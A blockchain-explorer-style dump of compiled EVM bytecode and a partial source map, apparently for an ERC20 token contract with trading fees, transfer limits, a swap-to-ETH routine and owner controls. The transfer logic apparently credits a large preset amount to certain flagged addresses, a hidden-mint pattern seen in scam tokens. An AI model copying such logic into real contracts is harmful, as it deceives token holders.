78b565b6001600160a01b038216610b855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161078b565b6001600160a01b03831660009081526004602052604090205460ff16158015610bc757506001600160a01b03821660009081526004602052604090205460ff16155b15610c2f57601454811115610c2f5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161078b565b600b5460ff61010082048116911610801590610c555750601854600160a01b900460ff16155b8015610c6f57506018546001600160a01b03848116911614155b8015610c845750601854600160a81b900460ff165b15610cc357600b805460ff1916905530600090815260016020526040902054601454811115610cb257506014545b8015610cc157610cc181610e57565b505b6001600160a01b03821660009081526003602052604090205460ff16610d1a57601254610d0f82610d09856001600160a01b031660009081526001602052604090205490565b90610e44565b1115610d1a57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610d5c57506001600160a01b03831660009081526005602052604090205460ff165b15610dc857506001600160a01b03821660009081526019602052604081205460ff168015610d9757506018546001600160b01b90910460ff16105b15610dc357610daf660758ca535ab23560521b601755565b6018805460ff60b01b1916600160b01b1790555b610e06565b6018546001600160a01b0390811690851603610de957600d54600c55610e06565b6018546001600160a01b0390811690841603610e0657600e54600c555b610e1284848484610e9c565b50505050565b60008184841115610e3c5760405162461bcd60e51b815260040161078b91906112b7565b505050900390565b6000610e5082846113fb565b9392505050565b6018805460ff60a01b1916600160a01b179055610e7381610ef3565b6006544790610e8b906001600160a01b03168261104d565b50506018805460ff60a01b19169055565b80610eae57610ea9611088565b610edb565b600b805460ff16906000610ec18361140e565b91906101000a81548160ff021916908360ff160217905550505b610ee68484846110cd565b80610e1257610e126111f5565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2857610f2861142d565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa59190611443565b81600181518110610fb857610fb861142d565b6001600160a01b039283166020918202929092010152601654610fde91309116846109fe565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611017908590600090869030904290600401611460565b600060405180830381600087803b15801561103157600080fd5b505af1158015611045573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611083573d6000803e3d6000fd5b505050565b600c541580156110985750600d54155b80156110a45750600e54155b156110ab57565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b6000806110d98361123e565b6001600160a01b03871660009081526001602052604090205491935091506111019084611276565b6001600160a01b0380871660009081526001602090815260408083209490945591871681526019909152205460ff1661113b57600061113f565b6017545b6001600160a01b0385166000908152600160205260409020546111629084610e44565b61116c91906113fb565b6001600160a01b0385166000908152600160205260408082209290925530815220546111989082610e44565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600f54600c55601054600d5560408051808201909152601154815260626020820152601854600160b01b900460ff16600281106112345761123461142d565b6020020151600e55565b60008060006064600c548561125391906114d1565b61125d91906114e8565b9050600061126b8583611276565b959194509092505050565b6000610e50828461150a565b6001600160a01b038116811461129757600080fd5b50565b6000602082840312156112ac57600080fd5b8135610e5081611282565b600060208083528351808285015260005b818110156112e4578581018301518582016040015282016112c8565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561131857600080fd5b823561132381611282565b946020939093013593505050565b60008060006060848603121561134657600080fd5b833561135181611282565b9250602084013561136181611282565b929592945050506040919091013590565b6000806040838503121561138557600080fd5b823561139081611282565b915060208301356113a081611282565b809150509250929050565b600181811c908216806113bf57607f821691505b6020821081036113df57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610690576106906113e5565b600060ff821660ff8103611424576114246113e5565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561145557600080fd5b8151610e5081611282565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114b05784516001600160a01b03168352938301939183019160010161148b565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610690576106906113e5565b60008261150557634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610690576106906113e556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220649538dbcc975d4887bf853da6372456286e45c31934ec4a1058a17efe8b6e0764736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c806353de116c116100f7578063a457c2d711610095578063d28d885211610064578063d28d885214610542578063dd62ed3e14610557578063e48aa8011461059d578063f2fde38b146105cd57600080fd5b8063a457c2d7146104d7578063a9059cbb146104f7578063af465a2714610517578063b09f12661461052d57600080fd5b806378109e54116100d157806378109e54146104785780637d1db4a51461048e5780638da5cb5b146104a457806395d89b41146104c257600080fd5b806353de116c146103fb57806370a082311461042b578063715018a61461046157600080fd5b8063313ce5671161016f5780634869ec5b1161013e5780634869ec5b1461038e57806349bd5a5e146103a45780634a74bb02146103c45780634f6e7104146103e557600080fd5b8063313ce567146102fc578063395093511461031e5780633ad61e9b1461033e578063478a67e81461036e57600080fd5b80631694505e116101ab5780631694505e1461026457806318160ddd1461029c578063220f6696146102bb57806323b872dd146102dc57600080fd5b806305a1ebe3146101dd57806306fdde0314610222578063095ea7b31461024457600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5061020d6101f836600461129a565b60036020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561022e57600080fd5b506102376105ed565b60405161021991906112b7565b34801561025057600080fd5b5061020d61025f366004611305565b61067f565b34801561027057600080fd5b50601654610284906001600160a01b031681565b6040516001600160a01b039091168152602001610219565b3480156102a857600080fd5b50600a545b604051908152602001610219565b3480156102c757600080fd5b5060185461020d90600160a01b900460ff1681565b3480156102e857600080fd5b5061020d6102f7366004611331565b610696565b34801561030857600080fd5b5060095460405160ff9091168152602001610219565b34801561032a57600080fd5b5061020d610339366004611305565b6106ff565b34801561034a57600080fd5b5061020d61035936600461129a565b60056020526000908152604090205460ff1681565b34801561037a57600080fd5b50600654610284906001600160a01b031681565b34801561039a57600080fd5b506102ad600e5481565b3480156103b057600080fd5b50601854610284906001600160a01b031681565b3480156103d057600080fd5b5060185461020d90600160a81b900460ff1681565b3480156103f157600080fd5b506102ad600d5481565b34801561040757600080fd5b5061020d61041636600461129a565b60046020526000908152604090205460ff1681565b34801561043757600080fd5b506102ad61044636600461129a565b6001600160a01b031660009081526001602052604090205490565b34801561046d57600080fd5b50610476610735565b005b34801561048457600080fd5b506102ad60125481565b34801561049a57600080fd5b506102ad60145481565b3480156104b057600080fd5b506000546001600160a01b0316610284565b3480156104ce57600080fd5b506102376107de565b3480156104e357600080fd5b5061020d6104f2366004611305565b6107ed565b34801561050357600080fd5b5061020d610512366004611305565b61083c565b34801561052357600080fd5b506102ad600a5481565b34801561053957600080fd5b50610237610849565b34801561054e57600080fd5b506102376108d7565b34801561056357600080fd5b506102ad610572366004611372565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105a957600080fd5b5061020d6105b836600461129a565b60196020526000908152604090205460ff1681565b3480156105d957600080fd5b506104766105e836600461129a565b6108e4565b6060600780546105fc906113ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610628906113ab565b80156106755780601f1061064a57610100808354040283529160200191610675565b820191906000526020600020905b81548152906001019060200180831161065857829003601f168201915b5050505050905090565b600061068c3384846109fe565b5060015b92915050565b60006106a3848484610abf565b6106f584336106f08560405180606001604052806028815260200161151e602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610e18565b6109fe565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161068c9185906106f09086610e44565b6000546001600160a01b031633146107945760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600880546105fc906113ab565b600061068c33846106f085604051806060016040528060258152602001611546602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610e18565b600061068c338484610abf565b60088054610856906113ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610882906113ab565b80156108cf5780601f106108a4576101008083540402835291602001916108cf565b820191906000526020600020905b8154815290600101906020018083116108b257829003601f168201915b505050505081565b60078054610856906113ab565b6000546001600160a01b0316331461093e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161078b565b6001600160a01b0381166109a35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161078b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610a1e57506001600160a01b03821615155b610a5e5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161078b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161078b565b6001600160a01b038216610b855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161078b565b6001600160a01b03831660009081526004602052604090205460ff16158015610bc757506001600160a01b03821660009081526004602052604090205460ff16155b15610c2f57601454811115610c2f5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161078b565b600b5460ff61010082048116911610801590610c555750601854600160a01b900460ff16155b8015610c6f57506018546001600160a01b03848116911614155b8015610c845750601854600160a81b900460ff165b15610cc357600b805460ff1916905530600090815260016020526040902054601454811115610cb257506014545b8015610cc157610cc181610e57565b505b6001600160a01b03821660009081526003602052604090205460ff16610d1a57601254610d0f82610d09856001600160a01b031660009081526001602052604090205490565b90610e44565b1115610d1a57600080fd5b6001600160a01b03831660009081526005602052604090205460019060ff1680610d5c57506001600160a01b03831660009081526005602052604090205460ff165b15610dc857506001600160a01b03821660009081526019602052604081205460ff168015610d9757506018546001600160b01b90910460ff16105b15610dc357610daf660758ca535ab23560521b601755565b6018805460ff60b01b1916600160b01b1790555b610e06565b6018546001600160a01b0390811690851603610de957600d54600c55610e06565b6018546001600160a01b0390811690841603610e0657600e54600c555b610e1284848484610e9c565b50505050565b60008184841115610e3c5760405162461bcd60e51b815260040161078b91906112b7565b505050900390565b6000610e5082846113fb565b9392505050565b6018805460ff60a01b1916600160a01b179055610e7381610ef3565b6006544790610e8b906001600160a01b03168261104d565b50506018805460ff60a01b19169055565b80610eae57610ea9611088565b610edb565b600b805460ff16906000610ec18361140e565b91906101000a81548160ff021916908360ff160217905550505b610ee68484846110cd565b80610e1257610e126111f5565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2857610f2861142d565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa59190611443565b81600181518110610fb857610fb861142d565b6001600160a01b039283166020918202929092010152601654610fde91309116846109fe565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611017908590600090869030904290600401611460565b600060405180830381600087803b15801561103157600080fd5b505af1158015611045573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611083573d6000803e3d6000fd5b505050565b600c541580156110985750600d54155b80156110a45750600e54155b156110ab57565b600d8054601055600e8054601155600c8054600f556000928390559082905555565b6000806110d98361123e565b6001600160a01b03871660009081526001602052604090205491935091506111019084611276565b6001600160a01b0380871660009081526001602090815260408083209490945591871681526019909152205460ff1661113b57600061113f565b6017545b6001600160a01b0385166000908152600160205260409020546111629084610e44565b61116c91906113fb565b6001600160a01b0385166000908152600160205260408082209290925530815220546111989082610e44565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b600f54600c55601054600d5560408051808201909152601154815260626020820152601854600160b01b900460ff16600281106112345761123461142d565b6020020151600e55565b60008060006064600c548561125391906114d1565b61125d91906114e8565b9050600061126b8583611276565b959194509092505050565b6000610e50828461150a565b6001600160a01b038116811461129757600080fd5b50565b6000602082840312156112ac57600080fd5b8135610e5081611282565b600060208083528351808285015260005b818110156112e4578581018301518582016040015282016112c8565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561131857600080fd5b823561132381611282565b946020939093013593505050565b60008060006060848603121561134657600080fd5b833561135181611282565b9250602084013561136181611282565b929592945050506040919091013590565b6000806040838503121561138557600080fd5b823561139081611282565b915060208301356113a081611282565b809150509250929050565b600181811c908216806113bf57607f821691505b6020821081036113df57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610690576106906113e5565b600060ff821660ff8103611424576114246113e5565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561145557600080fd5b8151610e5081611282565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114b05784516001600160a01b03168352938301939183019160010161148b565b50506001600160a01b03969096166060850152505050608001529392505050565b8082028115828204841417610690576106906113e5565b60008261150557634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610690576106906113e556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220649538dbcc975d4887bf853da6372456286e45c31934ec4a1058a17efe8b6e0764736f6c63430008130033
Deployed Bytecode Sourcemap
14032:9673:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14281:47;;;;;;;;;;-1:-1:-1;14281:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;567:14:1;;560:22;542:41;;530:2;515:18;14281:47:0;;;;;;;;16863:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;17694:161::-;;;;;;;;;;-1:-1:-1;17694:161:0;;;;;:::i;:::-;;:::i;15311:41::-;;;;;;;;;;-1:-1:-1;15311:41:0;;;;-1:-1:-1;;;;;15311:41:0;;;;;;-1:-1:-1;;;;;1658:32:1;;;1640:51;;1628:2;1613:18;15311:41:0;1467:230:1;17140:95:0;;;;;;;;;;-1:-1:-1;17220:7:0;;17140:95;;;1848:25:1;;;1836:2;1821:18;17140:95:0;1702:177:1;15431:28:0;;;;;;;;;;-1:-1:-1;15431:28:0;;;;-1:-1:-1;;;15431:28:0;;;;;;17863:313;;;;;;;;;;-1:-1:-1;17863:313:0;;;;;:::i;:::-;;:::i;17049:83::-;;;;;;;;;;-1:-1:-1;17115:9:0;;17049:83;;17115:9;;;;2487:36:1;;2475:2;2460:18;17049:83:0;2345:184:1;18184:218:0;;;;;;;;;;-1:-1:-1;18184:218:0;;;;;:::i;:::-;;:::i;14385:47::-;;;;;;;;;;-1:-1:-1;14385:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14446:90;;;;;;;;;;-1:-1:-1;14446:90:0;;;;-1:-1:-1;;;;;14446:90:0;;;14860:30;;;;;;;;;;;;;;;;15390:28;;;;;;;;;;-1:-1:-1;15390:28:0;;;;-1:-1:-1;;;;;15390:28:0;;;15466:40;;;;;;;;;;-1:-1:-1;15466:40:0;;;;-1:-1:-1;;;15466:40:0;;;;;;14824:29;;;;;;;;;;;;;;;;14335:43;;;;;;;;;;-1:-1:-1;14335:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17243:117;;;;;;;;;;-1:-1:-1;17243:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;17336:16:0;17309:7;17336:16;;;:7;:16;;;;;;;17243:117;13618:148;;;;;;;;;;;;;:::i;:::-;;15061:56;;;;;;;;;;;;;;;;15190:53;;;;;;;;;;;;;;;;13389:87;;;;;;;;;;-1:-1:-1;13435:7:0;13462:6;-1:-1:-1;;;;;13462:6:0;13389:87;;16954;;;;;;;;;;;;;:::i;18410:269::-;;;;;;;;;;-1:-1:-1;18410:269:0;;;;;:::i;:::-;;:::i;17368:167::-;;;;;;;;;;-1:-1:-1;17368:167:0;;;;;:::i;:::-;;:::i;14653:49::-;;;;;;;;;;;;;;;;14581:31;;;;;;;;;;;;;:::i;14545:29::-;;;;;;;;;;;;;:::i;17543:143::-;;;;;;;;;;-1:-1:-1;17543:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;17651:18:0;;;17624:7;17651:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17543:143;15753:51;;;;;;;;;;-1:-1:-1;15753:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13774:244;;;;;;;;;;-1:-1:-1;13774:244:0;;;;;:::i;:::-;;:::i;16863:83::-;16900:13;16933:5;16926:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16863:83;:::o;17694:161::-;17769:4;17786:39;1806:10;17809:7;17818:6;17786:8;:39::i;:::-;-1:-1:-1;17843:4:0;17694:161;;;;;:::o;17863:313::-;17961:4;17978:36;17988:6;17996:9;18007:6;17978:9;:36::i;:::-;18025:121;18034:6;1806:10;18056:89;18094:6;18056:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18056:19:0;;;;;;:11;:19;;;;;;;;1806:10;18056:33;;;;;;;;;;:37;:89::i;:::-;18025:8;:121::i;:::-;-1:-1:-1;18164:4:0;17863:313;;;;;:::o;18184:218::-;1806:10;18272:4;18321:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18321:34:0;;;;;;;;;;18272:4;;18289:83;;18312:7;;18321:50;;18360:10;18321:38;:50::i;13618:148::-;13435:7;13462:6;-1:-1:-1;;;;;13462:6:0;1806:10;13528:23;13520:68;;;;-1:-1:-1;;;13520:68:0;;3946:2:1;13520:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;13520:68:0;;;;;;;;;13725:1:::1;13709:6:::0;;13688:40:::1;::::0;-1:-1:-1;;;;;13709:6:0;;::::1;::::0;13688:40:::1;::::0;13725:1;;13688:40:::1;13756:1;13739:19:::0;;-1:-1:-1;;;;;;13739:19:0::1;::::0;;13618:148::o;16954:87::-;16993:13;17026:7;17019:14;;;;;:::i;18410:269::-;18503:4;18520:129;1806:10;18543:7;18552:96;18591:15;18552:96;;;;;;;;;;;;;;;;;1806:10;18552:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;18552:34:0;;;;;;;;;;;;:38;:96::i;17368:167::-;17446:4;17463:42;1806:10;17487:9;17498:6;17463:9;:42::i;14581:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14545:29::-;;;;;;;:::i;13774:244::-;13435:7;13462:6;-1:-1:-1;;;;;13462:6:0;1806:10;13528:23;13520:68;;;;-1:-1:-1;;;13520:68:0;;3946:2:1;13520:68:0;;;3928:21:1;;;3965:18;;;3958:30;4024:34;4004:18;;;3997:62;4076:18;;13520:68:0;3744:356:1;13520:68:0;-1:-1:-1;;;;;13863:22:0;::::1;13855:73;;;::::0;-1:-1:-1;;;13855:73:0;;4307:2:1;13855:73:0::1;::::0;::::1;4289:21:1::0;4346:2;4326:18;;;4319:30;4385:34;4365:18;;;4358:62;-1:-1:-1;;;4436:18:1;;;4429:36;4482:19;;13855:73:0::1;4105:402:1::0;13855:73:0::1;13965:6;::::0;;13944:38:::1;::::0;-1:-1:-1;;;;;13944:38:0;;::::1;::::0;13965:6;::::1;::::0;13944:38:::1;::::0;::::1;13993:6;:17:::0;;-1:-1:-1;;;;;;13993:17:0::1;-1:-1:-1::0;;;;;13993:17:0;;;::::1;::::0;;;::::1;::::0;;13774:244::o;19521:266::-;-1:-1:-1;;;;;19616:19:0;;;;;;:44;;-1:-1:-1;;;;;;19639:21:0;;;;19616:44;19608:74;;;;-1:-1:-1;;;19608:74:0;;4714:2:1;19608:74:0;;;4696:21:1;4753:2;4733:18;;;4726:30;-1:-1:-1;;;4772:18:1;;;4765:47;4829:18;;19608:74:0;4512:341:1;19608:74:0;-1:-1:-1;;;;;19693:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19745:32;;1848:25:1;;;19745:32:0;;1821:18:1;19745:32:0;;;;;;;19521:266;;;:::o;19795:1727::-;-1:-1:-1;;;;;19929:18:0;;19921:68;;;;-1:-1:-1;;;19921:68:0;;5060:2:1;19921:68:0;;;5042:21:1;5099:2;5079:18;;;5072:30;5138:34;5118:18;;;5111:62;-1:-1:-1;;;5189:18:1;;;5182:35;5234:19;;19921:68:0;4858:401:1;19921:68:0;-1:-1:-1;;;;;20008:16:0;;20000:64;;;;-1:-1:-1;;;20000:64:0;;5466:2:1;20000:64:0;;;5448:21:1;5505:2;5485:18;;;5478:30;5544:34;5524:18;;;5517:62;-1:-1:-1;;;5595:18:1;;;5588:33;5638:19;;20000:64:0;5264:399:1;20000:64:0;-1:-1:-1;;;;;20081:16:0;;;;;;:10;:16;;;;;;;;20080:17;:46;;;;-1:-1:-1;;;;;;20112:14:0;;;;;;:10;:14;;;;;;;;20111:15;20080:46;20077:181;;;20189:12;;20151:6;:50;;20143:103;;;;-1:-1:-1;;;20143:103:0;;5870:2:1;20143:103:0;;;5852:21:1;5909:2;5889:18;;;5882:30;5948:34;5928:18;;;5921:62;-1:-1:-1;;;5999:18:1;;;5992:38;6047:19;;20143:103:0;5668:404:1;20143:103:0;20298:11;;;;;;;;20287:7;;:22;;;;:57;;-1:-1:-1;20328:16:0;;-1:-1:-1;;;20328:16:0;;;;20327:17;20287:57;:95;;;;-1:-1:-1;20369:13:0;;-1:-1:-1;;;;;20361:21:0;;;20369:13;;20361:21;;20287:95;:133;;;;-1:-1:-1;20399:21:0;;-1:-1:-1;;;20399:21:0;;;;20287:133;20270:497;;;20477:7;:11;;-1:-1:-1;;20477:11:0;;;20552:4;-1:-1:-1;17336:16:0;;;-1:-1:-1;17336:16:0;;;;;;20599:12;;20576:35;;20573:78;;;-1:-1:-1;20637:12:0;;20573:78;20668:24;;20665:91;;20708:36;20723:20;20708:14;:36::i;:::-;20446:321;20270:497;-1:-1:-1;;;;;20784:18:0;;;;;;:14;:18;;;;;;;;20780:130;;20894:15;;20829:25;20847:6;20829:13;20839:2;-1:-1:-1;;;;;17336:16:0;17309:7;17336:16;;;:7;:16;;;;;;;17243:117;20829:13;:17;;:25::i;:::-;:80;;20821:89;;;;;;-1:-1:-1;;;;;20968:20:0;;20923:12;20968:20;;;:14;:20;;;;;;20938:4;;20968:20;;;:42;;-1:-1:-1;;;;;;20992:18:0;;;;;;:14;:18;;;;;;;;20968:42;20964:491;;;-1:-1:-1;;;;;;21060:22:0;;21037:5;21060:22;;;:18;:22;;;;;;;;:93;;;;-1:-1:-1;21114:15:0;;21150:3;-1:-1:-1;;;21114:15:0;;;;;:39;21060:93;21057:206;;;21179:11;-1:-1:-1;;;19444:16:0;:55;19404:103;21179:11;21215:15;:21;;-1:-1:-1;;;;21215:21:0;-1:-1:-1;;;21215:21:0;;;21057:206;20964:491;;;21294:13;;-1:-1:-1;;;;;21294:13:0;;;21286:21;;;;21282:173;;21336:10;;21323;:23;21282:173;;;21378:13;;-1:-1:-1;;;;;21378:13:0;;;21372:19;;;;21368:87;;21424:11;;21411:10;:24;21368:87;21475:39;21491:4;21496:2;21499:6;21506:7;21475:15;:39::i;:::-;19898:1624;19795:1727;;;:::o;1253:206::-;1339:7;1400:12;1392:6;;;;1384:29;;;;-1:-1:-1;;;1384:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1435:5:0;;;1253:206::o;825:98::-;883:7;910:5;914:1;910;:5;:::i;:::-;903:12;825:98;-1:-1:-1;;;825:98:0:o;21698:245::-;15850:16;:23;;-1:-1:-1;;;;15850:23:0;-1:-1:-1;;;15850:23:0;;;21793:38:::1;21810:20:::0;21793:16:::1;:38::i;:::-;21909:13;::::0;21864:21:::1;::::0;21896:39:::1;::::0;-1:-1:-1;;;;;21909:13:0::1;21864:21:::0;21896:12:::1;:39::i;:::-;-1:-1:-1::0;;15896:16:0;:24;;-1:-1:-1;;;;15896:24:0;;;21698:245::o;22488:341::-;22610:7;22606:107;;22633:14;:12;:14::i;:::-;22606:107;;;22688:7;:9;;;;;:7;:9;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;22606:107;22727:42;22743:6;22751:9;22762:6;22727:15;:42::i;:::-;22786:7;22782:39;;22808:13;:11;:13::i;22004:474::-;22096:16;;;22110:1;22096:16;;;;;;;;22072:21;;22096:16;;;;;;;;;;-1:-1:-1;22096:16:0;22072:40;;22141:4;22123;22128:1;22123:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22123:23:0;;;:7;;;;;;;;;;:23;;;;22167:15;;:22;;;-1:-1:-1;;;22167:22:0;;;;:15;;;;;:20;;:22;;;;;22123:7;;22167:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22157:4;22162:1;22157:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;22157:32:0;;;:7;;;;;;;;;:32;22232:15;;22200:62;;22217:4;;22232:15;22250:11;22200:8;:62::i;:::-;22273:15;;:197;;-1:-1:-1;;;22273:197:0;;-1:-1:-1;;;;;22273:15:0;;;;:66;;:197;;22354:11;;22273:15;;22397:4;;22424;;22444:15;;22273:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;22059:419;22004:474;:::o;21568:120::-;21653:23;;-1:-1:-1;;;;;21653:15:0;;;:23;;;;;21669:6;;21653:23;;;;21669:6;21653:15;:23;;;;;;;;;;;;;;;;;;;;;21568:120;;:::o;18812:319::-;18858:10;;:15;:34;;;;-1:-1:-1;18877:10:0;;:15;18858:34;:54;;;;-1:-1:-1;18896:11:0;;:16;18858:54;18855:66;;;18812:319::o;18855:66::-;18951:10;;;18933:15;:28;18992:11;;;18973:16;:30;19035:10;;;19015:17;:30;-1:-1:-1;19056:14:0;;;;19081:15;;;;19107:14;18812:319::o;22910:496::-;23007:23;23032:18;23054:19;23065:7;23054:10;:19::i;:::-;-1:-1:-1;;;;;23102:15:0;;;;;;:7;:15;;;;;;23006:67;;-1:-1:-1;23006:67:0;-1:-1:-1;23102:28:0;;23122:7;23102:19;:28::i;:::-;-1:-1:-1;;;;;23084:15:0;;;;;;;:7;:15;;;;;;;;:46;;;;23206:29;;;;;:18;:29;;;;;;;23205:58;;23261:1;23205:58;;;23240:16;;23205:58;-1:-1:-1;;;;;23162:18:0;;;;;;:7;:18;;;;;;:39;;23185:15;23162:22;:39::i;:::-;:102;;;;:::i;:::-;-1:-1:-1;;;;;23141:18:0;;;;;;:7;:18;;;;;;:123;;;;23316:4;23300:22;;;;:38;;23327:10;23300:26;:38::i;:::-;23291:4;23275:22;;;;:7;:22;;;;;;;;;:63;;;;23354:44;1848:25:1;;;-1:-1:-1;;;;;23354:44:0;;;;;;;;;;1821:18:1;23354:44:0;;;;;;;22995:411;;22910:496;;;:::o;19143:253::-;19194:17;;19181:10;:30;19231:15;;19218:10;:28;19268:116;;;;;;;;;19279:16;;19268:116;;19311:5;19268:116;;;;19355:15;;-1:-1:-1;;;19355:15:0;;;;-1:-1:-1;19268:116:0;;;;;;:::i;:::-;;;;;19254:11;:130;19143:253::o;23454:246::-;23513:7;23522;23542:18;23582:3;23571:10;;23563:7;:18;;;;:::i;:::-;:22;;;;:::i;:::-;23542:43;-1:-1:-1;23596:23:0;23622;:7;23542:43;23622:11;:23::i;:::-;23596:49;23681:10;;-1:-1:-1;23454:246:0;;-1:-1:-1;;;23454:246:0:o;931:98::-;989:7;1016:5;1020:1;1016;:5;:::i;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;69:70;14:131;:::o;150:247::-;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;594:548::-;706:4;735:2;764;753:9;746:21;796:6;790:13;839:6;834:2;823:9;819:18;812:34;864:1;874:140;888:6;885:1;882:13;874:140;;;983:14;;;979:23;;973:30;949:17;;;968:2;945:26;938:66;903:10;;874:140;;;878:3;1063:1;1058:2;1049:6;1038:9;1034:22;1030:31;1023:42;1133:2;1126;1122:7;1117:2;1109:6;